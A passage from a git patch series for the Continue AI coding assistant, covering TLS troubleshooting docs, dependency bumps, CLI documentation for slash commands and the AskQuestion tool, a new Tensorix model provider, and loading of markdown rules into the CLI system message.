+ provider: openai + model: gpt-4.1 + apiBase: https://llm.example.com/v1 + requestOptions: + caBundlePath: /path/to/ca-chain.pem +``` + +If your setup requires mutual TLS, configure `requestOptions.clientCertificate` too. The self-hosting guide includes an example in [How to Set Up Authentication](/guides/how-to-self-host-a-model#how-to-set-up-authentication). + +### Diagnose the certificate problem + +1. Reproduce the error in the Continue logs so you can confirm the exact hostname that failed. +2. Test the endpoint directly with `curl`: + + ```bash + curl -v https://llm.example.com/v1/models + ``` + +3. Inspect the certificate chain with OpenSSL: + + ```bash + openssl s_client -showcerts -connect llm.example.com:443 -servername llm.example.com Date: Thu, 19 Mar 2026 16:16:35 -0700 Subject: [PATCH 19/66] chore(deps-dev): bump flatted from 3.3.3 to 3.4.2 (#11638) Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.3 to 3.4.2. - [Commits](https://github.com/WebReflection/flatted/compare/v3.3.3...v3.4.2) --- updated-dependencies: - dependency-name: flatted dependency-version: 3.4.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index acd1174ed..45a7f421c 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1806,9 +1806,9 @@ } }, "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", "dev": true, "license": "ISC" }, From 5d67e484d724cefd3a362949523f1adf97a91198 Mon Sep 17 00:00:00 2001 From: Siew's Capital Jarvis Date: Fri, 20 Mar 2026 07:16:51 +0800 Subject: [PATCH 20/66] docs(cli): cover AskQuestion tool behavior and TUI interaction (#11162) * docs(cli): document AskQuestion tool behavior in TUI and permissions * docs: brief AskQuestion section per review --- docs/cli/tool-permissions.mdx | 2 +- docs/cli/tui-mode.mdx | 13 ++++++++++++- 2 files changed, 13 insertions(+), 2 deletions(-) diff --git a/docs/cli/tool-permissions.mdx b/docs/cli/tool-permissions.mdx index 5273a116d..321755c72 100644 --- a/docs/cli/tool-permissions.mdx +++ b/docs/cli/tool-permissions.mdx @@ -12,7 +12,7 @@ Every tool has one of three permission levels: ## Defaults -Read-only tools (`Read`, `List`, `Search`, `Fetch`, `Diff`) default to `allow`. Write tools (`Edit`, `MultiEdit`, `Write`) and `Bash` default to `ask`. In [headless mode](/cli/headless-mode), `ask` tools are excluded since there's no one to approve them. +Read-only tools (`Read`, `List`, `Search`, `Fetch`, `Diff`, `AskQuestion`, `Checklist`, `Status`, `CheckBackgroundJob`, `ReportFailure`, `UploadArtifact`) default to `allow`. `AskQuestion` is a built-in read-only tool that lets the agent pause and ask for clarification before continuing. Write tools (`Edit`, `MultiEdit`, `Write`) and `Bash` default to `ask`. In [headless mode](/cli/headless-mode), `ask` tools are excluded since there's no one to approve them. ## Overriding with flags diff --git a/docs/cli/tui-mode.mdx b/docs/cli/tui-mode.mdx index 44999ed60..d4c585991 100644 --- a/docs/cli/tui-mode.mdx +++ b/docs/cli/tui-mode.mdx @@ -49,6 +49,17 @@ cn --resume This restores the full conversation history, so the agent remembers prior context. +## Interactive questions in TUI mode + +The agent can use the `AskQuestion` tool to gather clarifications before it continues. You will see a quiz-style prompt directly in the terminal. + +- Use ↑/↓ to highlight an option +- Press Enter to submit the highlighted option +- Start typing to send a custom answer (even when options are shown) +- If a default answer is provided, pressing Enter on an empty input submits that default + +This is useful when the agent needs decisions like scope, preferences, or environment details before making edits. + ## Tool Permissions Tools that can modify your system (file writes, terminal commands) prompt for approval before executing. You get three options: @@ -57,4 +68,4 @@ Tools that can modify your system (file writes, terminal commands) prompt for ap - **Continue + don't ask again** — approve and save a policy rule to `~/.continue/permissions.yaml` - **No** — reject the call and give the agent new instructions -Read-only tools (`Read`, `List`, `Search`, `Fetch`) run automatically. See [tool permissions](/cli/tool-permissions) for the full policy system. +Read-only tools (`Read`, `List`, `Search`, `Fetch`, `Diff`, `AskQuestion`) run automatically. See [tool permissions](/cli/tool-permissions) for the full policy system. From f8e5bf4b04001d9ca5afee215cdd831f11b4ff39 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 19 Mar 2026 16:17:34 -0700 Subject: [PATCH 21/66] chore(deps-dev): bump flatted from 3.3.3 to 3.4.2 in /extensions/cli (#11640) Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.3 to 3.4.2. - [Commits](https://github.com/WebReflection/flatted/compare/v3.3.3...v3.4.2) --- updated-dependencies: - dependency-name: flatted dependency-version: 3.4.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- extensions/cli/package-lock.json | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/extensions/cli/package-lock.json b/extensions/cli/package-lock.json index a746094fc..d444c7cd5 100644 --- a/extensions/cli/package-lock.json +++ b/extensions/cli/package-lock.json @@ -136,7 +136,7 @@ "@sentry/core": "^9.43.0", "@sentry/esbuild-plugin": "^4.0.2", "@sentry/node": "^9.43.0", - "@sentry/vite-plugin": "^4.0.2", + "@sentry/vite-plugin": "^5.0.0", "@xenova/transformers": "2.14.0", "adf-to-md": "^1.1.0", "async-mutex": "^0.5.0", @@ -184,7 +184,7 @@ "sqlite": "^5.1.1", "sqlite3": "^5.1.7", "system-ca": "^1.0.3", - "tar": "^7.4.3", + "tar": "^7.5.10", "tree-sitter-wasms": "^0.1.11", "untildify": "^6.0.0", "uuid": "^9.0.1", @@ -9849,9 +9849,9 @@ } }, "node_modules/flatted": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz", - "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz", + "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==", "dev": true, "license": "ISC" }, From c99fabecfa4f3863c806c701b943e39487069cf9 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 19 Mar 2026 16:19:22 -0700 Subject: [PATCH 22/66] chore(deps): bump undici from 6.23.0 to 6.24.0 in /core (#11401) Bumps [undici](https://github.com/nodejs/undici) from 6.23.0 to 6.24.0. - [Release notes](https://github.com/nodejs/undici/releases) - [Commits](https://github.com/nodejs/undici/compare/v6.23.0...v6.24.0) --- updated-dependencies: - dependency-name: undici dependency-version: 6.24.0 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- core/package-lock.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/core/package-lock.json b/core/package-lock.json index 870b019aa..eb1152ad6 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -21002,9 +21002,9 @@ } }, "node_modules/undici": { - "version": "6.23.0", - "resolved": "https://registry.npmjs.org/undici/-/undici-6.23.0.tgz", - "integrity": "sha512-VfQPToRA5FZs/qJxLIinmU59u0r7LXqoJkCzinq3ckNJp3vKEh7jTWN589YQ5+aoAC/TGRLyJLCPKcLQbM8r9g==", + "version": "6.24.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-6.24.0.tgz", + "integrity": "sha512-lVLNosgqo5EkGqh5XUDhGfsMSoO8K0BAN0TyJLvwNRSl4xWGZlCVYsAIpa/OpA3TvmnM01GWcoKmc3ZWo5wKKA==", "license": "MIT", "engines": { "node": ">=18.17" From c6dc7b79954a655fa38f777fbbfc9f36f5470ad6 Mon Sep 17 00:00:00 2001 From: fahe1em1 <131003503+fahe1em1@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:20:37 +0000 Subject: [PATCH 23/66] docs: document all CLI slash commands in TUI mode (#11352) Add new CLI commands to tui-mode documentation --- docs/cli/tui-mode.mdx | 22 +++++++++++++++++----- 1 file changed, 17 insertions(+), 5 deletions(-) diff --git a/docs/cli/tui-mode.mdx b/docs/cli/tui-mode.mdx index d4c585991..673bdafad 100644 --- a/docs/cli/tui-mode.mdx +++ b/docs/cli/tui-mode.mdx @@ -26,14 +26,26 @@ Type `/` to see available commands. Run `/help` for the full list. | Command | What it does | |---------|-------------| +| `/help` | Show the help message and keyboard shortcuts | +| `/clear` | Clear the chat history | +| `/login` | Authenticate with your account | +| `/logout` | Sign out of your current session | +| `/update` | Update the Continue CLI | +| `/whoami` | Check who you're currently logged in as | +| `/info` | Show session information, including token usage and cost | | `/model` | Switch between configured chat models | | `/config` | Switch configuration or organization | -| `/compact` | Summarize chat history to free up context | -| `/fork` | Branch the conversation from the current point | -| `/resume` | Pick up a previous session | -| `/info` | Show token usage and cost for this session | -| `/init` | Create an `AGENTS.md` file for the current project | | `/mcp` | Manage MCP server connections | +| `/init` | Create an `AGENTS.md` file for the current project | +| `/compact` | Summarize chat history into a compact form | +| `/resume` | Resume a previous chat session | +| `/fork` | Start a forked chat session from the current history | +| `/title` | Set the title for the current session | +| `/rename` | Rename the current session (alias for `/title`) | +| `/exit` | Exit the chat | +| `/jobs` | List background jobs | + +When you're connected to a remote environment, Continue also adds remote-only slash commands such as `/diff` and `/apply`. ## Resume previous sessions From 19c3f358317e3d93edba187e1a88e9a0eb8352b4 Mon Sep 17 00:00:00 2001 From: shanemort1982 <156683457+shanemort1982@users.noreply.github.com> Date: Thu, 19 Mar 2026 23:29:45 +0000 Subject: [PATCH 24/66] feat: add Tensorix as an LLM provider (#11184) * feat: add Tensorix as an LLM provider Adds Tensorix (https://tensorix.ai) as a new OpenAI-compatible provider, giving users access to DeepSeek, Llama 4, Qwen, GLM, and other models through a single API key. Changes: - New LLM class (core/llm/llms/Tensorix.ts) - Registered in LLM index and config schema - Added to VS Code extension config schema - Added to GUI provider selection with AUTODETECT * Fix missing commas in config_schema.json for tensorix entries Co-authored-by: openhands * feat: address reviewer feedback for Tensorix provider - Add tensorix to openai-adapters (types.ts + index.ts) - Add tensorix to PROVIDER_HANDLES_TEMPLATING, PROVIDER_SUPPORTS_IMAGES, and PARALLEL_PROVIDERS in autodetect.ts - Add docs page for Tensorix under more providers - Add tensorix to docs.json navigation Co-authored-by: openhands --------- Co-authored-by: openhands --- core/control-plane/schema.ts | 2 + core/llm/autodetect.ts | 3 + core/llm/llms/Tensorix.ts | 14 +++ core/llm/llms/index.ts | 2 + .../model-providers/more/tensorix.mdx | 93 +++++++++++++++++++ docs/docs.json | 1 + extensions/vscode/config_schema.json | 9 +- .../pages/AddNewModel/configs/providers.ts | 20 ++++ packages/openai-adapters/src/index.ts | 2 + packages/openai-adapters/src/types.ts | 1 + 10 files changed, 145 insertions(+), 2 deletions(-) create mode 100644 core/llm/llms/Tensorix.ts create mode 100644 docs/customize/model-providers/more/tensorix.mdx diff --git a/core/control-plane/schema.ts b/core/control-plane/schema.ts index 191a34884..02901bda2 100644 --- a/core/control-plane/schema.ts +++ b/core/control-plane/schema.ts @@ -19,6 +19,7 @@ const modelDescriptionSchema = z.object({ "ovhcloud", "nebius", "siliconflow", + "tensorix", "scaleway", "watsonx", ]), @@ -92,6 +93,7 @@ const embeddingsProviderSchema = z.object({ "ovhcloud", "nebius", "siliconflow", + "tensorix", "scaleway", "watsonx", ]), diff --git a/core/llm/autodetect.ts b/core/llm/autodetect.ts index 4085d3798..15707209a 100644 --- a/core/llm/autodetect.ts +++ b/core/llm/autodetect.ts @@ -72,6 +72,7 @@ const PROVIDER_HANDLES_TEMPLATING: string[] = [ "docker", "nous", "zAI", + "tensorix", // TODO add these, change to inverted logic so only the ones that need templating are hardcoded // Asksage.ts // Azure.ts @@ -130,6 +131,7 @@ const PROVIDER_SUPPORTS_IMAGES: string[] = [ "ovhcloud", "watsonx", "zAI", + "tensorix", ]; const MODEL_SUPPORTS_IMAGES: RegExp[] = [ @@ -248,6 +250,7 @@ const PARALLEL_PROVIDERS: string[] = [ "vertexai", "function-network", "scaleway", + "tensorix", ]; function llmCanGenerateInParallel(provider: string, model: string): boolean { diff --git a/core/llm/llms/Tensorix.ts b/core/llm/llms/Tensorix.ts new file mode 100644 index 000000000..0d6878ff5 --- /dev/null +++ b/core/llm/llms/Tensorix.ts @@ -0,0 +1,14 @@ +import OpenAI from "./OpenAI.js"; + +import type { LLMOptions } from "../../index.js"; + +class Tensorix extends OpenAI { + static providerName = "tensorix"; + static defaultOptions: Partial = { + apiBase: "https://api.tensorix.ai/v1/", + model: "deepseek/deepseek-chat-v3.1", + useLegacyCompletionsEndpoint: false, + }; +} + +export default Tensorix; diff --git a/core/llm/llms/index.ts b/core/llm/llms/index.ts index 04f58e393..ebf9b7cf4 100644 --- a/core/llm/llms/index.ts +++ b/core/llm/llms/index.ts @@ -56,6 +56,7 @@ import SageMaker from "./SageMaker"; import SambaNova from "./SambaNova"; import Scaleway from "./Scaleway"; import SiliconFlow from "./SiliconFlow"; +import Tensorix from "./Tensorix"; import ContinueProxy from "./stubs/ContinueProxy"; import TARS from "./TARS"; import TestLLM from "./Test"; @@ -121,6 +122,7 @@ export const LLMClasses = [ VertexAI, xAI, SiliconFlow, + Tensorix, Scaleway, Relace, Inception, diff --git a/docs/customize/model-providers/more/tensorix.mdx b/docs/customize/model-providers/more/tensorix.mdx new file mode 100644 index 000000000..6e2d7c239 --- /dev/null +++ b/docs/customize/model-providers/more/tensorix.mdx @@ -0,0 +1,93 @@ +--- +title: "Tensorix" +description: "Configure Tensorix with Continue to access DeepSeek, Llama, Qwen, GLM, and other models through a single OpenAI-compatible API gateway" +--- + +[Tensorix](https://tensorix.ai) is an OpenAI-compatible API gateway that provides access to DeepSeek, Llama, Qwen, GLM, MiniMax, and other models. Pay-as-you-go with no subscription required. + + + You can get an API key from + [app.tensorix.ai](https://app.tensorix.ai). + + +## Chat Model + +We recommend configuring **deepseek/deepseek-chat-v3.1** as your chat model. + + + + ```yaml title="config.yaml" + name: My Config + version: 0.0.1 + schema: v1 + + models: + - name: DeepSeek Chat + provider: tensorix + model: deepseek/deepseek-chat-v3.1 + apiKey: + roles: + - chat + ``` + + + ```json title="config.json" + { + "models": [ + { + "title": "DeepSeek Chat", + "provider": "tensorix", + "model": "deepseek/deepseek-chat-v3.1", + "apiKey": "" + } + ] + } + ``` + + + +## Autocomplete Model + + + + ```yaml title="config.yaml" + name: My Config + version: 0.0.1 + schema: v1 + + models: + - name: DeepSeek Chat + provider: tensorix + model: deepseek/deepseek-chat-v3.1 + apiKey: + roles: + - autocomplete + ``` + + + ```json title="config.json" + { + "models": [ + { + "title": "DeepSeek Chat", + "provider": "tensorix", + "model": "deepseek/deepseek-chat-v3.1", + "apiKey": "" + } + ], + "tabAutocompleteModel": { + "title": "DeepSeek Chat", + "provider": "tensorix", + "model": "deepseek/deepseek-chat-v3.1", + "apiKey": "" + } + } + ``` + + + +## Embeddings Model + +Tensorix provides access to various embedding models. [Click here](https://tensorix.ai/models) to see a list of available models. + +[View the source](https://github.com/continuedev/continue/blob/main/core/llm/llms/Tensorix.ts) diff --git a/docs/docs.json b/docs/docs.json index 379837394..13f482ea5 100644 --- a/docs/docs.json +++ b/docs/docs.json @@ -179,6 +179,7 @@ "customize/model-providers/more/moonshot", "customize/model-providers/more/nous", "customize/model-providers/more/nvidia", + "customize/model-providers/more/tensorix", "customize/model-providers/more/together", "customize/model-providers/more/xAI", "customize/model-providers/more/zai" diff --git a/extensions/vscode/config_schema.json b/extensions/vscode/config_schema.json index c7bd24175..2d5aee801 100644 --- a/extensions/vscode/config_schema.json +++ b/extensions/vscode/config_schema.json @@ -227,6 +227,7 @@ "kindo", "moonshot", "siliconflow", + "tensorix", "function-network", "scaleway", "relace", @@ -278,6 +279,7 @@ "### Secure AI management software that helps enterprises adopt and manage AI across their workforce. To get started, obtain an API key from [the Kindo console](https://app.kindo.ai/settings/api), and see the [website](https://app.kindo.ai//)", "### Moonshot\nTo get started with Moonshot AI, obtain your API key from [Moonshot AI](https://platform.moonshot.cn/). Moonshot AI provides high-quality large language models with competitive pricing.\n> [Reference](https://platform.moonshot.cn/docs/api)", "### SiliconFlow\nTo get started with SiliconFlow, obtain your API key from [SiliconCloud](https://cloud.siliconflow.cn/account/ak). SiliconCloud provides cost-effective GenAI services based on excellent open source basic models.\n> [Models](https://siliconflow.cn/zh-cn/models)", + "### Tensorix\nTensorix is an OpenAI-compatible API gateway with access to DeepSeek, Llama, Qwen, GLM, and other models. Pay-as-you-go with no subscription required.\nTo get started, create an account and get an API key at [app.tensorix.ai](https://app.tensorix.ai).\n> [Models](https://tensorix.ai/models)", "### Function Network offers private, affordable user-owned AI\nTo get started with Function Network, obtain your API key from [Function Network](https://www.function.network/join-waitlist). Function Network provides a variety of models for chat, completion, and embeddings.", "### Scaleway\n Generative APIs are serverless endpoints for the most popular AI models.\nHosted in European data centers and priced competitively per million tokens used, models served by Scaleway are ideal for users requiring low latency, full data privacy, and 100% compliance with EU AI Act. To get access to the Scaleway Generative APIs, read the [Quickstart guide](https://www.scaleway.com/en/docs/ai-data/generative-apis/quickstart/) and get a [valid API key](https://www.scaleway.com/en/docs/identity-and-access-management/iam/how-to/create-api-keys/).", "### Relace\n Relace provides a fast apply model. To get started, obtain an API key from [here](https://app.relace.ai/settings/api-keys).", @@ -2867,6 +2869,7 @@ "watsonx", "lmstudio", "siliconflow", + "tensorix", "function-network", "scaleway", "ovhcloud" @@ -2932,7 +2935,8 @@ "voyage", "nvidia", "gemini", - "siliconflow" + "siliconflow", + "tensorix" ] } }, @@ -3000,7 +3004,8 @@ "watsonx", "llm", "huggingface-tei", - "siliconflow" + "siliconflow", + "tensorix" ] }, "params": { diff --git a/gui/src/pages/AddNewModel/configs/providers.ts b/gui/src/pages/AddNewModel/configs/providers.ts index 5dfb7220b..1b1178d9d 100644 --- a/gui/src/pages/AddNewModel/configs/providers.ts +++ b/gui/src/pages/AddNewModel/configs/providers.ts @@ -1218,6 +1218,26 @@ To get started, [register](https://dataplatform.cloud.ibm.com/registration/stepo ], apiKeyUrl: "https://cloud.siliconflow.cn/account/ak", }, + tensorix: { + title: "Tensorix", + provider: "tensorix", + description: + "Tensorix is an OpenAI-compatible API gateway with access to DeepSeek, Llama, Qwen, GLM, and more.", + longDescription: + "To get started with Tensorix, create an account and get an API key at [app.tensorix.ai](https://app.tensorix.ai).", + tags: [ModelProviderTags.RequiresApiKey, ModelProviderTags.OpenSource], + collectInputFor: [ + { + inputType: "text", + key: "apiKey", + label: "API Key", + placeholder: "Enter your Tensorix API key", + required: true, + }, + ], + packages: [{ ...models.AUTODETECT }], + apiKeyUrl: "https://app.tensorix.ai", + }, venice: { title: "Venice", provider: "venice", diff --git a/packages/openai-adapters/src/index.ts b/packages/openai-adapters/src/index.ts index a00b95b81..9e63cf3d2 100644 --- a/packages/openai-adapters/src/index.ts +++ b/packages/openai-adapters/src/index.ts @@ -172,6 +172,8 @@ export function constructLlmApi(config: LLMConfig): BaseLlmApi | undefined { return openAICompatible("https://api.studio.nebius.ai/v1/", config); case "function-network": return openAICompatible("https://api.function.network/v1/", config); + case "tensorix": + return openAICompatible("https://api.tensorix.ai/v1/", config); case "openrouter": return new OpenRouterApi(config); case "llama.cpp": diff --git a/packages/openai-adapters/src/types.ts b/packages/openai-adapters/src/types.ts index 868a6e8df..4b809ca82 100644 --- a/packages/openai-adapters/src/types.ts +++ b/packages/openai-adapters/src/types.ts @@ -57,6 +57,7 @@ export const OpenAIConfigSchema = BasePlusConfig.extend({ z.literal("xAI"), z.literal("zAI"), z.literal("scaleway"), + z.literal("tensorix"), z.literal("ncompass"), z.literal("relace"), z.literal("huggingface-inference-api"), From 432f6133109bbdf9e7d852ca9a82fd575b7f77ec Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Fri, 20 Mar 2026 16:26:09 -0700 Subject: [PATCH 25/66] chore(deps): bump socket.io-parser from 4.2.4 to 4.2.6 in /core (#11643) Bumps [socket.io-parser](https://github.com/socketio/socket.io) from 4.2.4 to 4.2.6. - [Release notes](https://github.com/socketio/socket.io/releases) - [Changelog](https://github.com/socketio/socket.io/blob/main/CHANGELOG.md) - [Commits](https://github.com/socketio/socket.io/compare/socket.io-parser@4.2.4...socket.io-parser@4.2.6) --- updated-dependencies: - dependency-name: socket.io-parser dependency-version: 4.2.6 dependency-type: indirect ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- core/package-lock.json | 25 +++++-------------------- 1 file changed, 5 insertions(+), 20 deletions(-) diff --git a/core/package-lock.json b/core/package-lock.json index eb1152ad6..1ce7ac4fd 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -19744,33 +19744,18 @@ } }, "node_modules/socket.io-parser": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.4.tgz", - "integrity": "sha512-/GbIKmo8ioc+NIWIhwdecY0ge+qVBSMdgxGygevmdHj24bsfgtCmcUUcQ5ZzcylGFHsN3k4HB4Cgkl96KVnuew==", + "version": "4.2.6", + "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.2.6.tgz", + "integrity": "sha512-asJqbVBDsBCJx0pTqw3WfesSY0iRX+2xzWEWzrpcH7L6fLzrhyF8WPI8UaeM4YCuDfpwA/cgsdugMsmtz8EJeg==", + "license": "MIT", "dependencies": { "@socket.io/component-emitter": "~3.1.0", - "debug": "~4.3.1" + "debug": "~4.4.1" }, "engines": { "node": ">=10.0.0" } }, - "node_modules/socket.io-parser/node_modules/debug": { - "version": "4.3.7", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz", - "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==", - "dependencies": { - "ms": "^2.1.3" - }, - "engines": { - "node": ">=6.0" - }, - "peerDependenciesMeta": { - "supports-color": { - "optional": true - } - } - }, "node_modules/socks": { "version": "2.8.3", "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.3.tgz", From df98f9997668e2f65ece63ad1cda0cd5ba7e9bea Mon Sep 17 00:00:00 2001 From: Aditya Mitra <61635505+uinstinct@users.noreply.github.com> Date: Sat, 21 Mar 2026 05:00:11 +0530 Subject: [PATCH 26/66] fix(cli): load rules into system message (#10408) * fix(cli): load rules into system message * show loaded rules in config * Update extensions/cli/src/systemMessage.ts Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> * fix config service tests * fix tests --------- Co-authored-by: Nate Sesti <33237525+sestinj@users.noreply.github.com> Co-authored-by: cubic-dev-ai[bot] <191113872+cubic-dev-ai[bot]@users.noreply.github.com> --- extensions/cli/src/__mocks__/systemMessage.ts | 2 + .../cli/src/services/ConfigService.test.ts | 3 + extensions/cli/src/services/ConfigService.ts | 12 +++ extensions/cli/src/systemMessage.ts | 87 +++++++++++++++++++ extensions/cli/vitest.setup.ts | 1 + 5 files changed, 105 insertions(+) diff --git a/extensions/cli/src/__mocks__/systemMessage.ts b/extensions/cli/src/__mocks__/systemMessage.ts index 0599a90db..3907103b1 100644 --- a/extensions/cli/src/__mocks__/systemMessage.ts +++ b/extensions/cli/src/__mocks__/systemMessage.ts @@ -5,3 +5,5 @@ export const constructSystemMessage = vi .mockResolvedValue( "You are an agent in the Continue CLI. Given the user's prompt, you should use the tools available to you to answer the user's question.", ); + +export const loadMarkdownRulesWithMetadata = vi.fn().mockReturnValue([]); diff --git a/extensions/cli/src/services/ConfigService.test.ts b/extensions/cli/src/services/ConfigService.test.ts index 63cbf5e90..05824b92a 100644 --- a/extensions/cli/src/services/ConfigService.test.ts +++ b/extensions/cli/src/services/ConfigService.test.ts @@ -19,6 +19,9 @@ vi.mock("../configLoader.js", () => ({ vi.mock("../util/logger.js"); vi.mock("./ServiceContainer.js"); vi.mock("@continuedev/config-yaml"); +vi.mock("src/systemMessage.js", () => ({ + loadMarkdownRulesWithMetadata: vi.fn().mockReturnValue([]), +})); const defaultModel = { provider: "anthropic", diff --git a/extensions/cli/src/services/ConfigService.ts b/extensions/cli/src/services/ConfigService.ts index d2fde41ea..ad29220cc 100644 --- a/extensions/cli/src/services/ConfigService.ts +++ b/extensions/cli/src/services/ConfigService.ts @@ -7,6 +7,7 @@ import { import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js"; import { isStringRule } from "src/hubLoader.js"; +import { loadMarkdownRulesWithMetadata } from "src/systemMessage.js"; import { getErrorString } from "src/util/error.js"; import { AuthConfig, loadAuthConfig } from "../auth/workos.js"; @@ -275,6 +276,17 @@ export class ConfigService const loadedConfig = result.config; const merged = mergeUnrolledAssistants(loadedConfig, additional); + const markdownRules = loadMarkdownRulesWithMetadata(); + if (markdownRules.length > 0) { + const existingRuleContents = new Set( + (merged.rules ?? []).map((r) => (typeof r === "string" ? r : r?.rule)), + ); + const newRules = markdownRules.filter( + (r) => !existingRuleContents.has(r.rule), + ); + merged.rules = [...(merged.rules ?? []), ...newRules]; + } + const withModel = await this.addDefaultChatModelIfNone( merged, apiClient, diff --git a/extensions/cli/src/systemMessage.ts b/extensions/cli/src/systemMessage.ts index 6e3a74762..bdfbfbba0 100644 --- a/extensions/cli/src/systemMessage.ts +++ b/extensions/cli/src/systemMessage.ts @@ -2,6 +2,9 @@ import { execSync } from "child_process"; import * as fs from "fs"; import * as path from "path"; +import { parseMarkdownRule, RuleObject } from "@continuedev/config-yaml"; + +import { env } from "./env.js"; import { processRule } from "./hubLoader.js"; import { PermissionMode } from "./permissions/types.js"; import { serviceContainer } from "./services/ServiceContainer.js"; @@ -74,6 +77,79 @@ async function getConfigYamlRules(): Promise { return []; } +function getRuleNameFromPath(filePath: string): string { + const segments = filePath.split(/[/\\]/); + const lastTwoParts = segments.slice(-2); + return lastTwoParts.filter(Boolean).join("/").replace(/\.md$/, ""); +} + +/** + * Scan .continue/rules/ directories for markdown rule files and return the rules with metadata that should be always-applied + */ +export function loadMarkdownRulesWithMetadata(): RuleObject[] { + const cwd = process.cwd(); + const rulesDirs = [ + path.join(cwd, ".continue", "rules"), + path.join(env.continueHome, "rules"), + ]; + + const rules: RuleObject[] = []; + + for (const dir of rulesDirs) { + if (!fs.existsSync(dir)) continue; + + let files: string[]; + try { + files = fs.readdirSync(dir, { recursive: true }) as string[]; + } catch { + continue; + } + + for (const file of files) { + if (!String(file).endsWith(".md")) continue; + + const filePath = path.join(dir, String(file)); + try { + const stat = fs.statSync(filePath); + if (!stat.isFile()) continue; + } catch { + continue; + } + + try { + const content = fs.readFileSync(filePath, "utf-8"); + const { frontmatter, markdown } = parseMarkdownRule(content); + + if (frontmatter.invokable) continue; + + const isAlwaysApply = + frontmatter.alwaysApply === true || + (frontmatter.alwaysApply === undefined && + !frontmatter.globs && + !frontmatter.regex); + + if (isAlwaysApply && markdown.trim()) { + const ruleName = + frontmatter.name || getRuleNameFromPath(String(file)); + rules.push({ + name: ruleName, + rule: markdown, + description: frontmatter.description, + globs: frontmatter.globs, + regex: frontmatter.regex, + alwaysApply: true, + sourceFile: filePath, + }); + } + } catch { + // Skip files that can't be read or parsed + } + } + } + + return rules; +} + /** * Load and construct a comprehensive system message with base message and rules section * @param additionalRules - Additional rules from --rule flags @@ -124,6 +200,17 @@ export async function constructSystemMessage( const configYamlRules = await getConfigYamlRules(); processedRules.push(...configYamlRules); + // Load markdown rules from .continue/rules/ directories + const markdownRules = loadMarkdownRulesWithMetadata(); + // Deduplicate against already-loaded rules + const existingRulesSet = new Set(processedRules); + for (const rule of markdownRules) { + if (!existingRulesSet.has(rule.rule)) { + processedRules.push(rule.rule); + existingRulesSet.add(rule.rule); + } + } + // Construct the comprehensive system message let systemMessage = baseSystemMessage; diff --git a/extensions/cli/vitest.setup.ts b/extensions/cli/vitest.setup.ts index ac9193957..7487990f6 100644 --- a/extensions/cli/vitest.setup.ts +++ b/extensions/cli/vitest.setup.ts @@ -55,6 +55,7 @@ vi.mock("./src/systemMessage.js", () => ({ .mockResolvedValue( "You are an agent in the Continue CLI. Given the user's prompt, you should use the tools available to you to answer the user's question.", ), + loadMarkdownRulesWithMetadata: vi.fn().mockReturnValue([]), })); // Mock environment for tests From f1a2fbfb1062cb87a0c4e916716a0db66ead4a22 Mon Sep 17 00:00:00 2001 From: shanevcantwell <153727980+shanevcantwell@users.noreply.github.com> Date: Fri, 20 Mar 2026 17:33:09 -0600 Subject: [PATCH 27/66] fix: strengthen default Apply prompt for local models (#10486) Local models respond to the existing single-sentence Apply prompt with prose summaries instead of code. Return ChatMessage[] with explicit code-only instructions and assistant prefill to force code output. Co-authored-by: Claude Opus 4.6 --- core/llm/templates/edit/gpt.ts | 27 +++++++++++++++++++++++++-- 1 file changed, 25 insertions(+), 2 deletions(-) diff --git 